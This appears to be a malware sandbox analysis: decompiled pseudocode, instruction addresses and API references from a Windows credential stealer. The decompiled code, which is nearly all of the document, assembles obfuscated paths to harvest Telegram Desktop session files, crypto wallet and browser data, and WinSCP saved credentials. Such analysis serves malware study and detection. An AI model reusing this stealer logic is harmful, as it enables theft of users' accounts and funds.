				intOrPtr _t505;
				intOrPtr _t506;
				void* _t507;
				intOrPtr _t509;
				signed int _t510;
				void* _t511;
				void* _t513;
				void* _t520;
				void* _t522;
				void* _t524;
				void* _t526;

				_t526 = __eflags;
				_push(0xffffffff);
				_push(E0043F188);
				_push( *[fs:0x0]);
				E00438A70(0x18e14);
				_t189 =  *0x450664; // 0x30e242aa
				_t190 = _t189 ^ _t510;
				_v20 = _t190;
				_push(_t190);
				 *[fs:0x0] =  &_v16;
				_t500 = __ecx;
				L00429B30( &_v101812, 0, 0x186a0);
				 *((intOrPtr*)(_t500 + 0xc)) = 0;
				 *((intOrPtr*)(_t500 + 0x10)) = 0;
				 *((intOrPtr*)(_t500 + 8)) = 0;
				 *((intOrPtr*)(_t500 + 0x18)) = 0;
				 *((intOrPtr*)(_t500 + 0x14)) = 0;
				 *((intOrPtr*)(_t500 + 0x1c)) = 0;
				E0041B870(_t500, 0, _t526, _a4, _a8);
				_t350 =  *0x453134; // 0x5098b50
				_t505 =  *0x452f44; // 0x5098bd8
				_t513 = _t511 + 0x14;
				E0041B6A0(_t350, _t500, _t505,  &_v101812);
				_t351 =  *0x452ee8; // 0x5098af0
				_t506 =  *0x452bb0; // 0x509ab00
				E0041B6A0(_t351, _t500, _t506,  &_v101812);
				_t441 =  *0x453060; // 0x509cba8
				_t358 =  *0x452dcc; // 0x5098420
				_t352 = 0;
				E0041B140(_t358,  &_v101812, _t500, _t441, 0);
				_t199 =  *0x452ac0; // 0x509b378
				_t359 =  *0x452df4; // 0x5098430
				E0041B140(_t359,  &_v101812, _t500, _t199, 0); // executed
				E0041B140("Opera Crypto",  &_v101812, _t500, "Opera Crypto Stable", 1);
				_t361 =  *0x452e08; // 0x5098cf0
				_t362 =  *0x452e74; // 0x5098b08
				E0041AE60(_t362,  &_v101812, _t500, _t361);
				_t446 =  *0x453100; // 0x5090fc8
				_t363 =  *0x452c0c; // 0x5098b38
				E0041AE60(_t363,  &_v101812, _t500, _t446);
				_t204 =  *0x452bec; // 0x5091228
				_t364 =  *0x452f90; // 0x5098560
				E0041AE60(_t364,  &_v101812, _t500, _t204);
				_t365 =  *0x452ec8; // 0x5090fe8
				_t366 =  *0x452e78; // 0x5098570
				E0041AE60(_t366,  &_v101812, _t500, _t365);
				_t450 =  *0x453274; // 0x5091088
				_t367 =  *0x452ea0; // 0x5098580
				E0041AE60(_t367,  &_v101812, _t500, _t450);
				_t208 =  *0x452a6c; // 0x5098d90
				_t368 =  *0x45317c; // 0x5098b68
				E0041AE60(_t368,  &_v101812, _t500, _t208);
				_t369 =  *0x452e40; // 0x5099568
				_t370 =  *0x4530a4; // 0x5091048
				E0041AE60(_t370,  &_v101812, _t500, _t369);
				_t454 =  *0x45306c; // 0x5098fc0
				_t371 =  *0x452a78; // 0x50983b0
				E0041AE60(_t371,  &_v101812, _t500, _t454);
				_t212 =  *0x452c2c; // 0x50983e0
				_t372 =  *0x452e3c; // 0x509b010
				E0041AE60(_t372,  &_v101812, _t500, _t212);
				_t373 =  *0x452c4c; // 0x5091368
				_t374 =  *0x452ba8; // 0x5098aa8
				E0041AE60(_t374,  &_v101812, _t500, _t373);
				_t458 =  *0x452ef4; // 0x50912e8
				_t375 =  *0x452e30; // 0x5098410
				E0041AE60(_t375,  &_v101812, _t500, _t458);
				_t216 =  *0x452a98; // 0x5091408
				_t376 =  *0x4531b0; // 0x509afb0
				E0041AE60(_t376,  &_v101812, _t500, _t216);
				_t377 =  *0x452b84; // 0x5091568
				_t378 =  *0x452ad4; // 0x509afc8
				E0041AE60(_t378,  &_v101812, _t500, _t377);
				_t462 =  *0x452ffc; // 0x5099088
				_t379 =  *0x45327c; // 0x509af80
				E0041AE60(_t379,  &_v101812, _t500, _t462);
				_t220 =  *0x45301c; // 0x5098d40
				_t380 =  *0x452b64; // 0x509af50
				E0041AE60(_t380,  &_v101812, _t500, _t220);
				_t381 =  *0x452a44; // 0x5098db8
				_t382 =  *0x45314c; // 0x509aff8
				E0041AE60(_t382,  &_v101812, _t500, _t381);
				_t466 =  *0x4530c8; // 0x5098ef8
				_t383 =  *0x452af0; // 0x509b1b8
				E0041AE60(_t383,  &_v101812, _t500, _t466);
				_t224 =  *0x452ab4; // 0x509bf68
				_t384 =  *0x452cd4; // 0x5098730
				E0041AE60(_t384,  &_v101812, _t500, _t224); // executed
				if( *_t500 != 0) {
					E00418180(_t500); // executed
					if( *_t500 != 0) {
						E004194E0( &_v101812);
						_t354 =  *0x452c48; // 0x509cd40
						_t509 =  *0x452ed8; // 0x509b3f8
						E0041B6A0(_t354, _t500, _t509,  &_v101812); // executed
						E00417600( &_v101812); // executed
						_t513 = _t513 + 4;
						_t352 = 0;
					}
				}
				if( *((intOrPtr*)(_t500 + 5)) != _t352) {
					L00429B30( &_v284, _t352, 0x104);
					L00429B30( &_v812, _t352, 0x104);
					L00429B30( &_v548, _t352, 0x104);
					L00429B30( &_v1812, _t352, 0x3e8);
					lstrcatA( &_v284,  &_v1812 & (0 |  *0x4534c0(_t352, 0x1a, _t352, _t352,  &_v1812) < 0x00000000) - 0x00000001);
					lstrcatA( &_v284, "\\");
					lstrcatA( &_v284, "T");
					lstrcatA( &_v284, "e");
					lstrcatA( &_v284, "l");
					lstrcatA( &_v284, "e");
					lstrcatA( &_v284, "g");
					lstrcatA( &_v284, "r");
					lstrcatA( &_v284, "a");
					lstrcatA( &_v284, "m");
					lstrcatA( &_v284, " ");
					lstrcatA( &_v284, "D");
					lstrcatA( &_v284, "e");
					lstrcatA( &_v284, "s");
					lstrcatA( &_v284, "k");
					lstrcatA( &_v284, "t");
					lstrcatA( &_v284, "o");
					lstrcatA( &_v284, "p");
					lstrcatA( &_v284, "\\");
					lstrcatA( &_v812, "k");
					lstrcatA( &_v812, "e");
					lstrcatA( &_v812, "y");
					lstrcatA( &_v812, "_");
					lstrcatA( &_v812, "d");
					lstrcatA( &_v812, "a");
					lstrcatA( &_v812, "t");
					lstrcatA( &_v812, "a");
					lstrcatA( &_v812, "s");
					lstrcatA( &_v548, "D");
					lstrcatA( &_v548, "8");
					lstrcatA( &_v548, "7");
					lstrcatA( &_v548, "7");
					lstrcatA( &_v548, "F");
					lstrcatA( &_v548, "7");
					lstrcatA( &_v548, "8");
					lstrcatA( &_v548, "3");
					lstrcatA( &_v548, "D");
					lstrcatA( &_v548, "5");
					lstrcatA( &_v548, "D");
					lstrcatA( &_v548, "3");
					lstrcatA( &_v548, "E");
					lstrcatA( &_v548, "F");
					lstrcatA( &_v548, "8");
					lstrcatA( &_v548, "C");
					lstrcatA( &_v548, "*");
					E00418910(_t500, 0x4485e7,  &_v284,  &_v812, "Telegram"); // executed
					E00418910(_t500, 0x4485e7,  &_v284,  &_v548, "Telegram"); // executed
					_v101820 = 0xf;
					_v101824 = _t352;
					_v101840 = _t352;
					E004050C0( &_v101840, "p*", L00429C90("p*"));
					_v8 = _t352;
					_t307 = L004055B0("ma",  &_v101868,  &_v101840);
					_t520 = _t513 + 0x38;
					_v8 = 1;
					if( *((intOrPtr*)(_t307 + 0x14)) >= 0x10) {
						_t307 =  *_t307;
					}
					E00418910(_t500, 0x4485e7,  &_v284, _t307, "Telegram");
					if(_v101848 >= 0x10) {
						_push(_v101868);
						E00429B0B();
						_t520 = _t520 + 4;
					}
					_v8 = 0xffffffff;
					_v101848 = 0xf;
					_v101852 = _t352;
					_v101868 = _t352;
					if(_v101820 >= 0x10) {
						_push(_v101840);
						E00429B0B();
						_t520 = _t520 + 4;
					}
					_v101820 = 0xf;
					_v101824 = _t352;
					_v101840 = _t352;
					E004050C0( &_v101840, "BC10B77*", L00429C90("BC10B77*"));
					_v8 = 2;
					_t314 = L004055B0("A7FDF864F",  &_v101868,  &_v101840);
					_t522 = _t520 + 8;
					_v8 = 3;
					if( *((intOrPtr*)(_t314 + 0x14)) >= 0x10) {
						_t314 =  *_t314;
					}
					E00418910(_t500, 0x4485e7,  &_v284, _t314, "Telegram");
					if(_v101848 >= 0x10) {
						_push(_v101868);
						E00429B0B();
						_t522 = _t522 + 4;
					}
					_v8 = 0xffffffff;
					_v101848 = 0xf;
					_v101852 = _t352;
					_v101868 = _t352;
					if(_v101820 >= 0x10) {
						_push(_v101840);
						E00429B0B();
						_t522 = _t522 + 4;
					}
					_v101820 = 0xf;
					_v101824 = _t352;
					_v101840 = _t352;
					E004050C0( &_v101840, "A6F891F2*", L00429C90("A6F891F2*"));
					_v8 = 4;
					_t319 = L004055B0("A92DAA6E",  &_v101868,  &_v101840);
					_t524 = _t522 + 8;
					_v8 = 5;
					if( *((intOrPtr*)(_t319 + 0x14)) >= 0x10) {
						_t319 =  *_t319;
					}
					E00418910(_t500, 0x4485e7,  &_v284, _t319, "Telegram");
					if(_v101848 >= 0x10) {
						_push(_v101868);
						E00429B0B();
						_t524 = _t524 + 4;
					}
					_v8 = 0xffffffff;
					_v101848 = 0xf;
					_v101852 = _t352;
					_v101868 = _t352;
					if(_v101820 >= 0x10) {
						_push(_v101840);
						E00429B0B();
						_t524 = _t524 + 4;
					}
					_v101876 = 0xf;
					_v101880 = _t352;
					_v101896 = _t352;
					E004050C0( &_v101896, "C461824F*", L00429C90("C461824F*"));
					_v8 = 6;
					_t324 = L004055B0("F8806DD0",  &_v101924,  &_v101896);
					_t513 = _t524 + 8;
					_v8 = 7;
					if( *((intOrPtr*)(_t324 + 0x14)) >= 0x10) {
						_t324 =  *_t324;
					}
					E00418910(_t500, 0x4485e7,  &_v284, _t324, "Telegram");
					if(_v101904 >= 0x10) {
						_push(_v101924);
						E00429B0B();
						_t513 = _t513 + 4;
					}
					_v8 = 0xffffffff;
					_v101904 = 0xf;
					_v101908 = _t352;
					_v101924 = _t352;
					if(_v101876 >= 0x10) {
						_push(_v101896);
						E00429B0B();
						_t513 = _t513 + 4;
					}
					_v101876 = 0xf;
					_v101880 = _t352;
					_v101896 = _t352;
					E00418910(_t500, 0x4485e7,  &_v284, "countries", "Telegram");
					E00418910(_t500, 0x4485e7,  &_v284, "prefix", "Telegram");
					E00418910(_t500, 0x4485e7,  &_v284, "settingss", "Telegram");
					E00418910(_t500, 0x4485e7,  &_v284, "shortcuts-custom.json", "Telegram");
					E00418910(_t500, 0x4485e7,  &_v284, "shortcuts-default.json", "Telegram");
					E00418910(_t500, 0x4485e7,  &_v284, "usertag", "Telegram");
				}
				_t226 =  *0x4532ec; // 0x0
				_t385 =  *0x4532f8; // 0x0
				_t469 =  &_v101812;
				 *((intOrPtr*)(_t500 + 0xc)) = _t226;
				 *((intOrPtr*)(_t500 + 0x10)) = _t385;
				_t227 = lstrlenA( &_v101812);
				_t501 =  *((intOrPtr*)(_t500 + 0x20));
				if(_t501 != _t352) {
					__eflags =  *_t501 - 2;
					if( *_t501 == 2) {
						_t228 =  *0x4530e4; // 0x509cbf0
						_t469 =  &_v101812;
						 *0x4537d4 = E00428410( *((intOrPtr*)(_t501 + 4)),  &_v101812, _t228, _t227, 3);
					} else {
						 *0x4537d4 = 0x80000;
					}
				} else {
					 *0x4537d4 = 0x10000;
				}
				_t230 = L00429B30( &_v101812, _t352, 0x186a0);
				 *[fs:0x0] = _v16;
				_pop(_t502);
				_pop(_t507);
				_pop(_t353);
				return E00429B16(_t230, _t353, _v20 ^ _t510, _t469, _t502, _t507);
			}

0x0041b980
0x0041b983
0x0041b985
0x0041b990
0x0041b996
0x0041b99b
0x0041b9a0
0x0041b9a2
0x0041b9a8
0x0041b9ac
0x0041b9c1
0x0041b9c3
0x0041b9d3
0x0041b9d6
0x0041b9d9
0x0041b9dc
0x0041b9df
0x0041b9e2
0x0041b9e5
0x0041b9ea
0x0041b9f0
0x0041b9f6
0x0041ba00
0x0041ba05
0x0041ba0b
0x0041ba18
0x0041ba1d
0x0041ba23
0x0041ba29
0x0041ba34
0x0041ba39
0x0041ba3e
0x0041ba4d
0x0041ba65
0x0041ba6a
0x0041ba71
0x0041ba7e
0x0041ba83
0x0041ba89
0x0041ba97
0x0041ba9c
0x0041baa1
0x0041baaf
0x0041bab4
0x0041babb
0x0041bac8
0x0041bacd
0x0041bad3
0x0041bae1
0x0041bae6
0x0041baeb
0x0041baf9
0x0041bafe
0x0041bb05
0x0041bb12
0x0041bb17
0x0041bb1d
0x0041bb2b
0x0041bb30
0x0041bb35
0x0041bb43
0x0041bb48
0x0041bb4f
0x0041bb5c
0x0041bb61
0x0041bb67
0x0041bb75
0x0041bb7a
0x0041bb7f
0x0041bb8d
0x0041bb92
0x0041bb99
0x0041bba6
0x0041bbab
0x0041bbb1
0x0041bbbf
0x0041bbc4
0x0041bbc9
0x0041bbd7
0x0041bbdc
0x0041bbe3
0x0041bbf0
0x0041bbf5
0x0041bbfb
0x0041bc09
0x0041bc0e
0x0041bc13
0x0041bc21
0x0041bc28
0x0041bc2b
0x0041bc32
0x0041bc3a
0x0041bc3f
0x0041bc45
0x0041bc52
0x0041bc5e
0x0041bc63
0x0041bc66
0x0041bc66
0x0041bc32
0x0041bc6b
0x0041bc7e
0x0041bc93
0x0041bca8
0x0041bcbd
0x0041bcef
0x0041bd01
0x0041bd13
0x0041bd25
0x0041bd37
0x0041bd49
0x0041bd5b
0x0041bd6d
0x0041bd7f
0x0041bd91
0x0041bda3
0x0041bdb5
0x0041bdc7
0x0041bdd9
0x0041bdeb
0x0041bdfd
0x0041be0f
0x0041be21
0x0041be33
0x0041be45
0x0041be57
0x0041be69
0x0041be7b
0x0041be8d
0x0041be9f
0x0041beb1
0x0041bec3
0x0041bed5
0x0041bee7
0x0041bef9
0x0041bf0b
0x0041bf1d
0x0041bf2f
0x0041bf41
0x0041bf53
0x0041bf65
0x0041bf77
0x0041bf89
0x0041bf9b
0x0041bfad
0x0041bfbf
0x0041bfd1
0x0041bfe3
0x0041bff5
0x0041c007
0x0041c027
0x0041c046
0x0041c050
0x0041c05a
0x0041c060
0x0041c07a
0x0041c091
0x0041c094
0x0041c099
0x0041c0a1
0x0041c0a8
0x0041c0aa
0x0041c0aa
0x0041c0c0
0x0041c0cb
0x0041c0d3
0x0041c0d4
0x0041c0d9
0x0041c0d9
0x0041c0dc
0x0041c0e3
0x0041c0ed
0x0041c0f3
0x0041c0ff
0x0041c107
0x0041c108
0x0041c10d
0x0041c10d
0x0041c115
0x0041c11f
0x0041c125
0x0041c13f
0x0041c156
0x0041c15d
0x0041c162
0x0041c165
0x0041c16c
0x0041c16e
0x0041c16e
0x0041c184
0x0041c18f
0x0041c197
0x0041c198
0x0041c19d
0x0041c19d
0x0041c1a0
0x0041c1a7
0x0041c1b1
0x0041c1b7
0x0041c1c3
0x0041c1cb
0x0041c1cc
0x0041c1d1
0x0041c1d1
0x0041c1d9
0x0041c1e3
0x0041c1e9
0x0041c203
0x0041c21a
0x0041c221
0x0041c226
0x0041c229
0x0041c230
0x0041c232
0x0041c232
0x0041c248
0x0041c253
0x0041c25b
0x0041c25c
0x0041c261
0x0041c261
0x0041c264
0x0041c26b
0x0041c275
0x0041c27b
0x0041c287
0x0041c28f
0x0041c290
0x0041c295
0x0041c295
0x0041c29d
0x0041c2a7
0x0041c2ad
0x0041c2c7
0x0041c2de
0x0041c2e5
0x0041c2ea
0x0041c2ed
0x0041c2f4
0x0041c2f6
0x0041c2f6
0x0041c30c
0x0041c317
0x0041c31f
0x0041c320
0x0041c325
0x0041c325
0x0041c328
0x0041c32f
0x0041c339
0x0041c33f
0x0041c34b
0x0041c353
0x0041c354
0x0041c359
0x0041c359
0x0041c374
0x0041c37e
0x0041c384
0x0041c38a
0x0041c3a7
0x0041c3c4
0x0041c3e1
0x0041c3fe
0x0041c41b
0x0041c41b
0x0041c420
0x0041c425
0x0041c42b
0x0041c432
0x0041c435
0x0041c438
0x0041c43e
0x0041c443
0x0041c451
0x0041c454
0x0041c468
0x0041c46e
0x0041c479
0x0041c456
0x0041c456
0x0041c456
0x0041c445
0x0041c445
0x0041c445
0x0041c48b
0x0041c496
0x0041c49e
0x0041c49f
0x0041c4a0
0x0041c4ae

APIs

_memset.LIBCMT ref: 0041B9C3

Part of subcall function 0041B870: _memset.LIBCMT ref: 0041B8A4

Part of subcall function 0041B6A0: _memset.LIBCMT ref: 0041B6CA
Part of subcall function 0041B6A0: _memset.LIBCMT ref: 0041B6E0
Part of subcall function 0041B6A0: _memset.LIBCMT ref: 0041B6F6
Part of subcall function 0041B6A0: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041B70D
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,?), ref: 0041B72B
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,05098BD8), ref: 0041B739
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,?), ref: 0041B74D
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,..\), ref: 0041B75F
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,0044B238), ref: 0041B771
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,0044B23C), ref: 0041B783
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,0044B240), ref: 0041B795
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,0044B244), ref: 0041B7A7
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,0044B248), ref: 0041B7B9
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,0044AA7C), ref: 0041B7CB
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,0044AA80), ref: 0041B7DD
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,0044AA88), ref: 0041B7EF
Part of subcall function 0041B6A0: lstrcatA.KERNEL32(?,.ini), ref: 0041B801
Part of subcall function 0041B6A0: GetFileAttributesA.KERNEL32(?), ref: 0041B80E

Part of subcall function 0041B6A0: FreeLibrary.KERNEL32(00000000), ref: 0041B851

Part of subcall function 0041B140: _memset.LIBCMT ref: 0041B1A7
Part of subcall function 0041B140: _memset.LIBCMT ref: 0041B1BC
Part of subcall function 0041B140: _memset.LIBCMT ref: 0041B1D1
Part of subcall function 0041B140: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B1E5
Part of subcall function 0041B140: lstrcatA.KERNEL32(?,-00000001,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B205
Part of subcall function 0041B140: lstrcatA.KERNEL32(?,0509B0D8,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B213
Part of subcall function 0041B140: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B221
Part of subcall function 0041B140: StrCmpCA.SHLWAPI(00000000,0509CBA8,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B234
Part of subcall function 0041B140: StrCmpCA.SHLWAPI(00000000,0509B378,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B250
Part of subcall function 0041B140: StrCmpCA.SHLWAPI(00000000,Opera Crypto Stable,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B26A
Part of subcall function 0041B140: _memset.LIBCMT ref: 0041B28B

Part of subcall function 0041B140: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,0509AB00), ref: 0041B29F
Part of subcall function 0041B140: lstrcatA.KERNEL32(?,-00000001,?,?,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B2BF
Part of subcall function 0041B140: lstrcatA.KERNEL32(?,0509B0D8,?,?,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041B2CD
Part of subcall function 0041B140: _memset.LIBCMT ref: 0041B2E0
Part of subcall function 0041B140: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0509AB00), ref: 0041B2F6
Part of subcall function 0041B140: lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,?,?,?,?,0509AB00), ref: 0041B308
Part of subcall function 0041B140: lstrcatA.KERNEL32(?,0509AF68,?,?,?,?,?,?,?,?,?,?,?,?,?,0509AB00), ref: 0041B31B
Part of subcall function 0041B140: _strlen.LIBCMT ref: 0041B33E
Part of subcall function 0041B140: GetFileAttributesW.KERNEL32(00000000,?,00000000), ref: 0041B37A

Part of subcall function 0041AE60: _memset.LIBCMT ref: 0041AEC1
Part of subcall function 0041AE60: _memset.LIBCMT ref: 0041AED6
Part of subcall function 0041AE60: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,?,?,?,0509AB00,00000000), ref: 0041AEEA
Part of subcall function 0041AE60: lstrcatA.KERNEL32(?,-00000001,?,?,?,?,0509AB00,00000000), ref: 0041AF0A
Part of subcall function 0041AE60: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0509AB00,00000000), ref: 0041AF18
Part of subcall function 0041AE60: _memset.LIBCMT ref: 0041AF2B
Part of subcall function 0041AE60: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041AF41
Part of subcall function 0041AE60: lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041AF53
Part of subcall function 0041AE60: lstrcatA.KERNEL32(?,0509AF68,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041AF66
Part of subcall function 0041AE60: _strlen.LIBCMT ref: 0041AF89
Part of subcall function 0041AE60: GetFileAttributesW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041AFC5

_memset.LIBCMT ref: 0041BC7E
_memset.LIBCMT ref: 0041BC93
_memset.LIBCMT ref: 0041BCA8
_memset.LIBCMT ref: 0041BCBD
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0041BCD1
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BCEF
lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD01
lstrcatA.KERNEL32(?,0044B264,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD13
lstrcatA.KERNEL32(?,0044AA80,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD25
lstrcatA.KERNEL32(?,0044AA7C,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD37
lstrcatA.KERNEL32(?,0044AA80,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD49
lstrcatA.KERNEL32(?,0044B268,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD5B
lstrcatA.KERNEL32(?,0044B23C,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD6D
lstrcatA.KERNEL32(?,0044AA78,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD7F
lstrcatA.KERNEL32(?,0044B26C,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BD91
lstrcatA.KERNEL32(?,0044ACCC,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BDA3
lstrcatA.KERNEL32(?,0044B270,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BDB5
lstrcatA.KERNEL32(?,0044AA80,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BDC7
lstrcatA.KERNEL32(?,0044AA88,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BDD9
lstrcatA.KERNEL32(?,0044B274,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BDEB

Part of subcall function 00418180: _memset.LIBCMT ref: 004181CA
Part of subcall function 00418180: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000000,?,?,?,?,?,00000000), ref: 004181DE
Part of subcall function 00418180: _strlen.LIBCMT ref: 0041820E
Part of subcall function 00418180: _memset.LIBCMT ref: 00418233
Part of subcall function 00418180: _memset.LIBCMT ref: 00418248
Part of subcall function 00418180: _memset.LIBCMT ref: 0041825D
Part of subcall function 00418180: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?,?,-00000001,00000000), ref: 00418271
Part of subcall function 00418180: lstrcatA.KERNEL32(?,-00000001,?,?,?,?,?,?,?,-00000001,00000000), ref: 00418291
Part of subcall function 00418180: lstrcatA.KERNEL32(?,05098C78,?,?,?,?,?,?,?,-00000001,00000000), ref: 004182A5
Part of subcall function 00418180: lstrcatA.KERNEL32(?,0509CC08,?,?,?,?,?,?,?,-00000001,00000000), ref: 004182B8

lstrcatA.KERNEL32(?,0044AA84,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BDFD
lstrcatA.KERNEL32(?,0044B240,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE0F
lstrcatA.KERNEL32(?,0044B238,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE21
lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE33
lstrcatA.KERNEL32(?,0044B274,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE45
lstrcatA.KERNEL32(?,0044AA80,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE57
lstrcatA.KERNEL32(?,0044B278,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE69
lstrcatA.KERNEL32(?,0044AC7C,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE7B
lstrcatA.KERNEL32(?,0044B27C,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE8D
lstrcatA.KERNEL32(?,0044AA78,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BE9F
lstrcatA.KERNEL32(?,0044AA84,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BEB1
lstrcatA.KERNEL32(?,0044AA78,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BEC3
lstrcatA.KERNEL32(?,0044AA88,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BED5
lstrcatA.KERNEL32(?,0044B270,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BEE7
lstrcatA.KERNEL32(?,0044B280,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BEF9
lstrcatA.KERNEL32(?,0044B284,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF0B
lstrcatA.KERNEL32(?,0044B284,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF1D
lstrcatA.KERNEL32(?,0044B288,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF2F
lstrcatA.KERNEL32(?,0044B284,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF41
lstrcatA.KERNEL32(?,0044B280,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF53
lstrcatA.KERNEL32(?,0044B28C,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF65
lstrcatA.KERNEL32(?,0044B270,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF77
lstrcatA.KERNEL32(?,0044B290,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF89
lstrcatA.KERNEL32(?,0044B270,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BF9B
lstrcatA.KERNEL32(?,0044B28C,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BFAD

Part of subcall function 004194E0: _memset.LIBCMT ref: 00419531
Part of subcall function 004194E0: _memset.LIBCMT ref: 00419556
Part of subcall function 004194E0: _memset.LIBCMT ref: 00419571
Part of subcall function 004194E0: _memset.LIBCMT ref: 0041958C
Part of subcall function 004194E0: _memset.LIBCMT ref: 004195A2
Part of subcall function 004194E0: _memset.LIBCMT ref: 004195B3
Part of subcall function 004194E0: _memset.LIBCMT ref: 004195C4
Part of subcall function 004194E0: RegOpenKeyExW.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 004195F2
Part of subcall function 004194E0: _strlen.LIBCMT ref: 0041961E
Part of subcall function 004194E0: _strlen.LIBCMT ref: 00419654

Part of subcall function 00417600: _memset.LIBCMT ref: 00417646
Part of subcall function 00417600: _memset.LIBCMT ref: 0041765B
Part of subcall function 00417600: SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?,?,?,?,?,0509B3F8,0509CD40), ref: 0041766F
Part of subcall function 00417600: lstrcatA.KERNEL32(?,-00000001,?,?,?,?,0509B3F8,0509CD40), ref: 0041768F
Part of subcall function 00417600: lstrcatA.KERNEL32(?,0509AAC8,?,?,?,?,0509B3F8,0509CD40), ref: 004176A3
Part of subcall function 00417600: GetFileAttributesA.KERNELBASE(?,?,?,?,?,0509B3F8,0509CD40), ref: 004176B0

lstrcatA.KERNEL32(?,0044B294,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BFBF
lstrcatA.KERNEL32(?,0044B288,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BFD1
lstrcatA.KERNEL32(?,0044B280,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BFE3
lstrcatA.KERNEL32(?,0044ABD8,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041BFF5
lstrcatA.KERNEL32(?,0044ABD4,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0041C007

Part of subcall function 00418910: wsprintfA.USER32 ref: 00418957
Part of subcall function 00418910: FindFirstFileA.KERNEL32(?,?), ref: 0041896E
Part of subcall function 00418910: StrCmpCA.SHLWAPI(?,0044A810), ref: 0041898F
Part of subcall function 00418910: StrCmpCA.SHLWAPI(?,0044A814), ref: 004189A9
Part of subcall function 00418910: wsprintfA.USER32 ref: 004189CB
